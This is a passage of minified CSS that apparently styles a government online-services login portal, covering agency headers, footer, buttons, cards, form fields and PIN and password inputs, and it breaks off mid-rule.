.header-img,.redrHeader .header-img,.clkWapHeader .header-img,.clkMapHeader .header-img,.authAppHeader .header-img,.codeGenHeader .header-img,.jobsHeader .header-img,.ehrHeader .header-img,.vicsroHeader .header-img,.exchangeHeader .header-img,.csaHeader .header-img{display:block}.mcaHeader .unauth-grid-row,.ndisHeader .unauth-grid-row,.dhhsHeader .unauth-grid-row,.dvaHeader .unauth-grid-row,.redrHeader .unauth-grid-row,.clkWapHeader .unauth-grid-row,.clkMapHeader .unauth-grid-row,.authAppHeader .unauth-grid-row,.codeGenHeader .unauth-grid-row,.jobsHeader .unauth-grid-row,.ehrHeader .unauth-grid-row,.vicsroHeader .unauth-grid-row,.exchangeHeader .unauth-grid-row,.csaHeader .unauth-grid-row{text-align:left}.mcaHeader a,.ndisHeader a,.dhhsHeader a,.dvaHeader a,.redrHeader a,.clkWapHeader a,.clkMapHeader a,.authAppHeader a,.codeGenHeader a,.jobsHeader a,.ehrHeader a,.vicsroHeader a,.exchangeHeader a,.csaHeader a{border-bottom:0;float:right;display:block}.mcaHeader a:hover,.ndisHeader a:hover,.dhhsHeader a:hover,.dvaHeader a:hover,.redrHeader a:hover,.clkWapHeader a:hover,.clkMapHeader a:hover,.authAppHeader a:hover,.codeGenHeader a:hover,.jobsHeader a:hover,.ehrHeader a:hover,.vicsroHeader a:hover,.exchangeHeader a:hover,.csaHeader a:hover{background:0}footer[role='contentinfo']{background-color:#eee;border-top:4px solid #333;margin-top:72px}footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}@media screen and (min-width:992px){footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}footer[role='contentinfo'] .inner::after,footer[role='contentinfo'] .unauth .product-description .digital-id-inner::after,.unauth .product-description footer[role='contentinfo'] .digital-id-inner::after{clear:both;content:"";display:block}}footer[role='contentinfo'] ul{margin-bottom:1em;padding:0}footer[role='contentinfo'] li{list-style:none}footer[role='contentinfo'] .footer-logo{border-top:1px solid #999;padding-top:1em;padding-bottom:1em}footer[role='contentinfo'] .footer-links{margin:1em auto}footer[role='contentinfo'] .footer-links ul{-webkit-columns:2;-moz-columns:2;columns:2}footer[role='contentinfo'] .footer-links li{display:block;margin-right:.8em}footer[role='contentinfo'] .footer-links a{display:inline-block;margin-top:5px;color:#0f6493}footer[role='contentinfo'] .map-footer-links{margin:1em auto}footer[role='contentinfo'] .map-footer-links li{display:block}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links li{margin-right:.8em;-webkit-box-flex:0;-webkit-flex:0 1 -webkit-calc(33.33% - .8em);-ms-flex:0 1 calc(33.33% - .8em);flex:0 1 calc(33.33% - .8em)}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+2){text-align:center}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+3),footer[role='contentinfo'] .map-footer-links li:nth-child(2):last-child{margin-left:auto;text-align:right}}footer[role='contentinfo'] .map-footer-links a{display:inline-block;margin-top:5px;color:#0f6493}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-0.8em}}.badge{border:1px solid #999;border-radius:4px;display:inline-block;padding:.2em .5em}.beta-badge{background-color:#fff;color:#0f6493;font-size:12px;font-weight:900;letter-spacing:2px;padding-left:9px;padding-right:7px;padding-top:2px;padding-bottom:2px;border-radius:50em}#back-to-top{position:relative}#back-to-top:hover,#back-to-top:active{color:#fff;background-color:#0f6493;text-decoration:none}#back-to-top::after{background-image:url("../icons/panel-icon.svg");background-position:50% 50%;background-repeat:no-repeat;position:absolute;height:1.6em;width:1.25em;right:-1.25em;top:0;content:''}.callout-2{background-color:#ebf5fb;padding:1em;border-top:4px solid #0f6493;position:relative;margin-top:1.2em}.callout-2 img#lightbulbicon{max-width:40px;vertical-align:middle}.callout-3{background-color:#ebf5fb;padding-left:1em;padding-bottom:1em;position:relative;margin-top:1.2em}.callout-3 img#infoicon{max-width:40px;margin-right:.5em}.callout-3 p{margin:0}.callout-3 h3,.callout-3 #poro-form #modal-title,#poro-form .callout-3 #modal-title,.callout-3 .poro-form #modal-title,.poro-form .callout-3 #modal-title{margin-left:0}.callout-dxp-block{color:white;background-color:#183052}.callout-dxp{margin:2em;position:relative;max-width:900px}@media screen and (min-width:992px){.callout-dxp{margin:auto}}.callout-dxp h3,.callout-dxp #poro-form #modal-title,#poro-form .callout-dxp #modal-title,.callout-dxp .poro-form #modal-title,.poro-form .callout-dxp #modal-title{margin:2em 0 1em 0}.callout-dxp img{display:block}@media screen and (min-width:768px){.callout-dxp img{margin:2.5em;float:right}}.callout-dxp p{margin:0}.callout-dxp a{margin:1em 0 2em 0;color:white;border-bottom:solid 1px white}.callout-dxp-static{margin:0}.callout-dxp-static h3,.callout-dxp-static #poro-form #modal-title,#poro-form .callout-dxp-static #modal-title,.callout-dxp-static .poro-form #modal-title,.poro-form .callout-dxp-static #modal-title{margin:2em 0 1em 0}.callout-dxp-static p{margin:0}.callout-dxp-static a{margin:1em 0 2em 0}.did-you-know-title{font-weight:bold;font-size:1.1em;margin-bottom:0;margin-left:.5em;margin-top:0;vertical-align:middle;display:inline-block}button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{-webkit-appearance:none;-moz-appearance:none;appearance:none;display:inline-block;height:3.2em;margin:0 1.6em .8em 0;padding:.8em 1.6em;border-radius:1px;border-width:1px;border-style:solid;border-color:inherit;outline:0;text-decoration:none;font-size:1.125rem;width:100%;text-align:center;position:relative}@media screen and (min-width:992px){button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{width:auto}}button[disabled],button.disabled,.button[disabled],.button.disabled,[role='button'][disabled],[role='button'].disabled,[type='submit'][disabled],[type='submit'].disabled,[type='reset'][disabled],[type='reset'].disabled,[type='button'][disabled],[type='button'].disabled{color:#fff}button[disabled],button[disabled]:hover,button[disabled]:active,button[disabled]:focus,button.disabled,button.disabled:hover,button.disabled:active,button.disabled:focus,.button[disabled],.button[disabled]:hover,.button[disabled]:active,.button[disabled]:focus,.button.disabled,.button.disabled:hover,.button.disabled:active,.button.disabled:focus,[role='button'][disabled],[role='button'][disabled]:hover,[role='button'][disabled]:active,[role='button'][disabled]:focus,[role='button'].disabled,[role='button'].disabled:hover,[role='button'].disabled:active,[role='button'].disabled:focus,[type='submit'][disabled],[type='submit'][disabled]:hover,[type='submit'][disabled]:active,[type='submit'][disabled]:focus,[type='submit'].disabled,[type='submit'].disabled:hover,[type='submit'].disabled:active,[type='submit'].disabled:focus,[type='reset'][disabled],[type='reset'][disabled]:hover,[type='reset'][disabled]:active,[type='reset'][disabled]:focus,[type='reset'].disabled,[type='reset'].disabled:hover,[type='reset'].disabled:active,[type='reset'].disabled:focus,[type='button'][disabled],[type='button'][disabled]:hover,[type='button'][disabled]:active,[type='button'][disabled]:focus,[type='button'].disabled,[type='button'].disabled:hover,[type='button'].disabled:active,[type='button'].disabled:focus{cursor:pointer;color:#fff}.button-digital-id-container{display:inline-block;width:100%}.button-digital-id-container .button-digital-id{display:inline-table}.button-digital-id-container .button,.button-digital-id-container button,.button-digital-id-container a{width:100%;padding:.8em 0}.button-digital-id-main-container{margin-top:.5em}@media screen and (min-width:320px){.button-digital-id-main-container{margin-top:2em}}.button-container,.button-digital-id-main-container,.button-container-nomargin{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap-full-width .button,.button-container-mapwap-full-width button,.button-container-mapwap-full-width a{margin-top:2em;width:100%}.button-container-mapwap-full-width .button-main,.button-container-mapwap-full-width .button-minor,.button-container-mapwap-full-width button-main,.button-container-mapwap-full-width button-minor,.button-container-mapwap-full-width a-main,.button-container-mapwap-full-width a-minor{width:100%}.button-container-exchange-web-login .button,.button-container-exchange-web-login button,.button-container-exchange-web-login a{margin-top:2em;width:100%;font-size:1em;padding:.5em 0}.button-container-exchange-web-login .button-main,.button-container-exchange-web-login .button-minor,.button-container-exchange-web-login button-main,.button-container-exchange-web-login button-minor,.button-container-exchange-web-login a-main,.button-container-exchange-web-login a-minor{width:100%}.button-container-mapwap{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap .button{padding:.7em;width:46%}.button-container-mapwap .button:nth-child(2){margin-right:0;float:right}.button-container-centered{display:block}.button-container-centered .button:first-child,.button-container-centered button:first-child{display:block;margin:0 auto}.button-container-nomargin{margin:0}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){margin-right:0;float:right}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{width:43%;padding:.7em}.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{width:auto;height:auto;padding:.7em;display:block}@media screen and (min-width:576px){.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{display:inline-block}}.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-top:1em;margin-left:0}@media screen and (min-width:576px){.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-left:1em;margin-top:0}}@media screen and (min-width:768px){.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button,.button-container button,.button-digital-id-main-container button,.button-container-nomargin button{height:3em;width:auto;margin-right:1.6em}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){float:none}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{padding-right:1.6em;padding-left:1.6em}}.button-container button:first-child,.button-digital-id-main-container button:first-child,.button-container-nomargin button:first-child{margin-bottom:1.2em}.button-container+button,.button-digital-id-main-container+button,.button-container-nomargin+button{float:right;margin:0}.button-container .digital-id-button-container button:first-child,.button-digital-id-main-container .digital-id-button-container button:first-child,.button-container-nomargin .digital-id-button-container button:first-child{margin-bottom:0}.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{color:#fff;height:3em;width:100%;border:1px solid transparent;-webkit-font-smoothing:antialiased;text-align:center;margin:1px;position:relative}@media screen and (min-width:576px){.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{width:auto;padding-left:3em;padding-right:3em}}.button-main:hover,.button-minor:hover,.button-danger:hover,.button-modal-main:hover,.button-digital-id-toggle:hover{text-decoration:underline}.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active{text-decoration:underline}.button-digital-id-toggle{height:auto}@media(max-width:320px){.button-digital-id-toggle{padding-left:0;padding-right:0}}.button-main,.button-modal-main,.button-digital-id-toggle{background-color:#333}.button-main:active,.button-main:hover,.button-main:focus,.button-modal-main:active,.button-modal-main:hover,.button-modal-main:focus,.button-digital-id-toggle:active,.button-digital-id-toggle:hover,.button-digital-id-toggle:focus{background-color:#222}.button-digital-id{color:#fff;background-color:#0f6493}.button-digital-id:active,.button-digital-id:hover,.button-digital-id:focus{background-color:#08537d}.button-main-mapwap{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:.3125rem;color:#fff;font-size:1rem;font-weight:500;min-width:10rem;border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0;width:100%}.button-main-mapwap:hover{text-decoration:none;background-color:#183052;color:#fff}.button-main-mapwap:focus{background-color:#183052;outline:.25rem solid #183052;outline-offset:.125rem}.button-main-mapwap:hover{color:#fff;background-color:#254a7e}.button-main-mapwap:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}.button-minor{color:#333;background-color:#fff;margin:1px;border:1px solid #999}.button-minor:active,.button-minor:focus{background-color:#eee}.button-minor:hover{border-color:#333;background-color:#fff;color:#333}.button-danger{background-color:#b7202d}.button-danger:active,.button-danger:hover,.button-danger:focus{background-color:#a11c28}.button-tertiary{color:#0f6493;text-align:center;display:block}@media screen and (min-width:576px){.button-tertiary{width:initial;padding:.8em 3em;display:inline-block}}.anchor{border:0;white-space:normal;display:inline-block;font:inherit;margin:0;padding:0;outline:0;outline-offset:0;color:#0f6493;cursor:pointer;background-color:white;text-decoration:underline;text-align:center;width:auto;height:auto}.anchor:hover{color:#fff;background-color:#0f6493}.anchor:focus{background-color:#fff;color:#0f6493}body>main button,body>main .button,body>main [role='button'],body>main [type='submit'],body>main [type='reset'],body>main [type='button']{background-color:#333;color:#fff;border-color:#333;text-align:center}body>main button:before,body>main .button:before,body>main [role='button']:before,body>main [type='submit']:before,body>main [type='reset']:before,body>main [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}body>main button:hover,body>main button:focus,body>main .button:hover,body>main .button:focus,body>main [role='button']:hover,body>main [role='button']:focus,body>main [type='submit']:hover,body>main [type='submit']:focus,body>main [type='reset']:hover,body>main [type='reset']:focus,body>main [type='button']:hover,body>main [type='button']:focus{background-color:#333;color:#fff}body>main button:active,body>main .button:active,body>main [role='button']:active,body>main [type='submit']:active,body>main [type='reset']:active,body>main [type='button']:active{background-color:#222}footer[role='contentinfo'] button,footer[role='contentinfo'] .button,footer[role='contentinfo'] [role='button'],footer[role='contentinfo'] [type='submit'],footer[role='contentinfo'] [type='reset'],footer[role='contentinfo'] [type='button']{background-color:transparent;color:#333;border-color:#333;text-align:center}footer[role='contentinfo'] button:before,footer[role='contentinfo'] .button:before,footer[role='contentinfo'] [role='button']:before,footer[role='contentinfo'] [type='submit']:before,footer[role='contentinfo'] [type='reset']:before,footer[role='contentinfo'] [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}footer[role='contentinfo'] button:hover,footer[role='contentinfo'] button:focus,footer[role='contentinfo'] .button:hover,footer[role='contentinfo'] .button:focus,footer[role='contentinfo'] [role='button']:hover,footer[role='contentinfo'] [role='button']:focus,footer[role='contentinfo'] [type='submit']:hover,footer[role='contentinfo'] [type='submit']:focus,footer[role='contentinfo'] [type='reset']:hover,footer[role='contentinfo'] [type='reset']:focus,footer[role='contentinfo'] [type='button']:hover,footer[role='contentinfo'] [type='button']:focus{background-color:#333;color:#fff}footer[role='contentinfo'] button:active,footer[role='contentinfo'] .button:active,footer[role='contentinfo'] [role='button']:active,footer[role='contentinfo'] [type='submit']:active,footer[role='contentinfo'] [type='reset']:active,footer[role='contentinfo'] [type='button']:active{background-color:#222}.button-back{display:inline-block;position:relative;margin-left:1em;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-back:before{content:'';position:absolute;top:-6px;right:2.7em;display:block;width:1.2em;height:2em;background-repeat:no-repeat;background-position:right .4em;background-size:1.125em auto;background-image:url("../icons/chevron-left.svg")}.button-back:hover,.button-back:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-close{display:inline-block;position:relative;margin-left:0;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-close:hover,.button-close:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-back-home:before{right:6.7em}.expand,.dismiss{background-color:transparent;background-position:center center;background-repeat:no-repeat;border:0;right:0;position:absolute;top:0;width:auto}.expand{background-image:url("../icons/error-down.svg")}.dismiss{background-image:url("../icons/dismiss-x.svg")}.help-info-button{all:initial;font-family:inherit;display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;font-size:inherit;line-height:inherit}.help-info-button::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-button[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-button:hover{color:#fff;background-color:#0f6493;text-decoration:none}.card-grid .card-tile{width:100%}@media screen and (min-width:576px){.card-grid{-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.card-grid .card-tile{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-box-flex:0;-webkit-flex:0 1 49%;-ms-flex:0 1 49%;flex:0 1 49%;margin-right:2%}.card-grid .card-tile:nth-child(2n){margin-right:0;border-right:0}}@media screen and (min-width:992px){.card-grid .card-tile{-webkit-box-flex:0;-webkit-flex:0 1 32%;-ms-flex:0 1 32%;flex:0 1 32%}.card-grid .card-tile:nth-child(2n){margin-right:2%}.card-grid .card-tile:nth-child(3n){margin-right:0;border-right:0}}.card{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:16px;padding:1rem;position:relative;text-align:center;text-decoration:none}.card:hover,.card:active{background-color:#fff;color:#333}.card:active{border-color:#ccc}.card img{color:#333;height:60px;width:90%}.card__title{background-color:#eee;bottom:0;display:block;left:0;padding:8px 4px 8px 4px;position:absolute;width:100%;font-size:16px;border-top:1px solid #ccc;height:60px}.card__title span{position:relative;top:50%;display:block;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.card:hover .card__title,.card:active .card__title{text-decoration:underline}.card:active .card__title{background-color:#ccc}.card--link{background-color:#eee;background-image:url("../icons/link-service.svg");background-position:center 25%;background-repeat:no-repeat;border-color:#026540;color:#fff}.card--link .card__title{background-color:#026540}.card--link:hover,.card--link:active{background-color:#eee;color:#fff}.card--link:active{border-color:#027e50}.card--link:active .card__title{background-color:#027e50}.card--quicklinks{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:1em;padding:.5em;position:relative;text-align:left;text-decoration:none;width:100%}@media screen and (min-width:992px){.card--quicklinks{width:32%}}.card--quicklinks h3,.card--quicklinks #poro-form #modal-title,#poro-form .card--quicklinks #modal-title,.card--quicklinks .poro-form #modal-title,.poro-form .card--quicklinks #modal-title{margin:0}.card--quicklinks .info{display:block}@media screen and (min-width:576px){.card--quicklinks .info{margin-bottom:1em}}@media screen and (min-width:576px){.card--quicklinks .notlinked{display:block}}.card--quicklinks .linked{display:block;margin-top:1em}.card--quicklinks img{padding-top:.4em;margin-left:.5em;height:1.5em;position:absolute}.card--quicklinks .quicklinks-arrow{display:inline}form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{width:100%;border:1px solid #999;border-radius:0;background-color:#fff;padding:.7em;display:block;margin:6px 0 6px;overflow:visible;max-width:42em}form [type='text']::-ms-clear,form [type='number']::-ms-clear,form [type='tel']::-ms-clear,form [type='email']::-ms-clear,form [type='password']::-ms-clear,form textarea::-ms-clear,form [type='radio']::-ms-clear,form [type='checkbox']::-ms-clear{display:none}@media screen and (min-width:576px){form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{max-width:42em}}form [type='text']:disabled,form [type='number']:disabled,form [type='tel']:disabled,form [type='email']:disabled,form [type='password']:disabled,form textarea:disabled,form [type='radio']:disabled,form [type='checkbox']:disabled,form [disabled][type='text'],form [disabled][type='number'],form [disabled][type='tel'],form [disabled][type='email'],form [disabled][type='password'],form textarea[disabled],form [disabled][type='radio'],form [disabled][type='checkbox']{cursor:not-allowed;background:#ccc;border:2px solid #ccc}.help-text{color:#666;font-size:.9rem}.hidden{display:none}.security-code,input.security-code{width:12em}input.medium-field{width:20em}form fieldset,form p{margin:1.2em 0 1.2em 0;padding:0;border:0}form fieldset{margin-top:1rem}form legend{border-bottom:1px #999 solid;margin-bottom:16px;font-size:1.375rem;width:100%}form legend.non-heading{border-bottom:0;font-size:1em}form legend.std-Legend{border-bottom:0;margin-bottom:0;padding-top:1.2em;font-size:1.125rem}form label,form .std-Legend{display:block;font-size:1rem;margin-bottom:.4em;position:relative;margin-top:1.2em}@media screen and (min-width:576px){form label,form .std-Legend{max-width:42em}}form label span#sqa{display:inline-block;margin-bottom:1.2em}form .hint{display:block;margin-bottom:.4em;font-size:.875rem;color:#333}form .password-group [type='password'],form .password-group [type='text']{padding-right:70px}form .input-group,form .password-group{position:relative;max-width:42em}form .showPassword{position:absolute;top:0;right:0;background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:.5em;text-decoration:underline;height:100%}form .showPassword:focus{border:1px solid #999;border-left-color:transparent}form .showPassword:focus:hover{color:#fff;background-color:#0f6493;border-color:#0f6493}.hasError .showPassword:focus,.hasError .showPassword:hover{padding:11px 10px}.hasError .showPassword:focus{background-color:transparent}form .showPin{background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:0;text-decoration:underline;height:1.6em;white-space:normal;display:inline-block;font:inherit;margin:0 0 .5em 0;outline:0;text-align:center;width:auto;float:right}form .showPin img{text-decoration:underline}form .showPin:focus:hover{border:1px solid #0f6493}.hasError .showPin:focus,.hasError .showPassword:hover{padding:.5em}.hasError .showPin:focus{background-color:transparent}form textarea{resize:vertical}form [type='radio'],form [type='checkbox']{height:1px;left:-10000px;position:absolute;visibility:visible;width:1px}form [type='radio']:hover+label,form [type='checkbox']:hover+label{cursor:pointer}form [type='radio']:invalid+label,form [type='checkbox']:invalid+label{color:#b7202d}form [type='radio']:invalid+label::before,form [type='checkbox']:invalid+label::before{border-color:#b7202d}form [type='radio']:disabled+label,form [type='radio'][disabled]+label,form [type='checkbox']:disabled+label,form [type='checkbox'][disabled]+label{cursor:default;color:#666}form [type='radio']:disabled+label::before,form [type='radio'][disabled]+label::before,form [type='checkbox']:disabled+label::before,form [type='checkbox'][disabled]+label::before{background-color:#ccc}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem;margin-bottom:.5em;padding:9px 0 6px 40px;margin-top:0;position:relative;width:100%;max-width:37em}form [type='radio']+label::before,form [type='checkbox']+label::before{display:inline-block;height:27px;position:absolute;text-align:center;top:9px;width:27px}form [type='radio']+label::before{border:1px solid #999;border-radius:50%;content:'';left:0}form [type='radio']:checked+label::before{border-radius:50%;content:'';border-color:#333}form [type='radio']:checked+label::after{width:17px;height:17px;background-color:#333;border:1px solid transparent;border-radius:50%;content:'';left:5px;top:14px;position:absolute}form [type='checkbox']+label::before{left:0;border:1px solid #999;content:''}@media screen and (min-width:768px){form [type='checkbox']+label::before{top:9px}}form [type='checkbox']:checked+label::before{font-size:18px;content:'';background-image:url("../icons/tick.svg");background-repeat:no-repeat;background-color:#333;border-color:#333}form [type='checkbox']:checked+label::after{width:17px;height:17px;border:1px solid transparent;content:'';left:25px;top:18px;position:absolute}@media screen and (min-width:768px){form [type='checkbox']:checked+label::after{top:14px}}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{font-size:100%;line-height:1.35;margin:0;margin-bottom:.8em}select.chosen-select{width:100%}.chosen-container-active{outline:0;outline:4px solid #666;outline-offset:1px}.date-fields span,.poro-date-fields span{display:-moz-inline-stack;display:inline-block;margin-bottom:.5em;width:4em}.date-fields p,.poro-date-fields p{margin:0}.pincode-container{display:table}.pincode-input-container{display:block}.pincode-input-container span.hasError{display:inline!important}.pincode-input-container input.last{border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:65px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:48px;padding:6px 0 6px 25px;margin:0 -48px 0 0;height:65px;font-size:30px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:260px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}.pin-fields{margin:0 0 1em 0;position:relative}.pin-fields span{margin-bottom:.5em;width:60px;height:60px;margin-right:.1em}.pin-fields input{width:60px;height:60px;padding-left:40%;display:block}.pin-fields input::-moz-selection{background:transparent}.pin-fields input::selection{background:transparent}.pin-fields p{margin:0}.pin-fields a{margin:1em 0}.pin-fields2{margin:0 0 1em 0;position:relative}.pin-fields2 input{margin:auto auto .5em auto}.pin-fields2 input::-moz-selection{background:transparent}.pin-fields2 input::selection{background:transparent}.pin-fields2 p{margin:0}.pin-fields2 span{text-align:centre}.pin-fields2 a{margin:1em 0}.spacing-large{letter-spacing:.9em;text-align:left;text-indent:.9em;-webkit-text-security:disc;width:6em;font-size:3.0em}@media(max-width:576px){.spacing-large{font-size:2.2em}}.underline{border:1px solid red;length:57px}#mainDiv{height:60px;width:288px;position:relative;border-bottom:2px solid #f51c40;background:#3beadc}#borderLeft{border-left:2px solid #f51c40;position:absolute;top:50%;bottom:0}div.someclass{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid black}div.outerclass{position:relative}.conceal{-webkit-text-security:disc;box-sizing:border-box;font-family:monospace}.reveal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}#partitioned{padding-left:15px;letter-spacing:42px;border:0;background-image:-webkit-linear-gradient(right,black 70%,rgba(255,255,255,0) 0);background-image:linear-gradient(to left,black 70%,rgba(255,255,255,0) 0);background-position:bottom;background-size:50px 1px;background-repeat:repeat-x;background-position-x:35px;width:220px}.poro-date-fields span{margin-right:5px}fieldset :last-child,.optional-section :last-child,.help-content :last-child{margin-bottom:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}fieldset.button-group{margin-top:1.2em}fieldset.button-group legend{border-bottom:0;font-size:inherit}fieldset.button-group button{width:5em;padding:0;margin-bottom:.7em;margin-right:.2em;color:#666;background-color:#fff}fieldset.button-group button.active{background-color:#ccc}.progress h1{margin-bottom:0}.progress h1 .mygov-icon{height:1.2em;margin-right:.1em}.progress .code-gen{text-align:center}.section-heading,#poro-form h2,#poro-form .display,.poro-form h2,.poro-form .display{border-bottom:2px solid #333;padding-bottom:.4em;padding-top:1.2em;clear:both}.hr{border-top:1px solid #999;padding-top:1.2em}.border-top--group{border-top:1px solid #999;padding-top:1.2em}.border-top--group p:first-of-type{margin-top:0}.border-top--group label:first-of-type{margin-top:0}.border-top--group h1:first-of-type,.border-top--group h2:first-of-type,.border-top--group .display:first-of-type{margin-top:0}label[for="createQuestion"]{display:none}.extra-info{margin:0;padding:0}.extra-info--type{font-weight:bold}p.solid{border-style:solid;border-color:#b72020;padding:5px}p.solid span:first-of-type{color:#b72020}.solid2{border-style:solid;border-color:#ccc;padding:5px}.solid2 span:first-of-type{color:#b72020}.servInfoForm li a{display:inline}figure{margin:0}figure img{display:block}img{max-width:100%;height:auto}.image-inline-centre img{display:block;margin:3em auto}.image-float-right{float:right}@media only screen and (max-width:992px){.image-float-right{display:block;margin:1.5em auto;float:none}}body{color:#333}body a,body .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}body a:hover,body a:active,body .non-transition-link:hover,body .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}body a:hover .link-external,body a:active .link-external,body .non-transition-link:hover .link-external,body .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}body .force-cursor{cursor:pointer}body .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}body .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}body .see-more:hover,body .see-more:focus{color:#fff}body span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}body span.placeholder-link:hover{cursor:not-allowed}footer[role='contentinfo']{color:#333}footer[role='contentinfo'] a,footer[role='contentinfo'] .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}footer[role='contentinfo'] 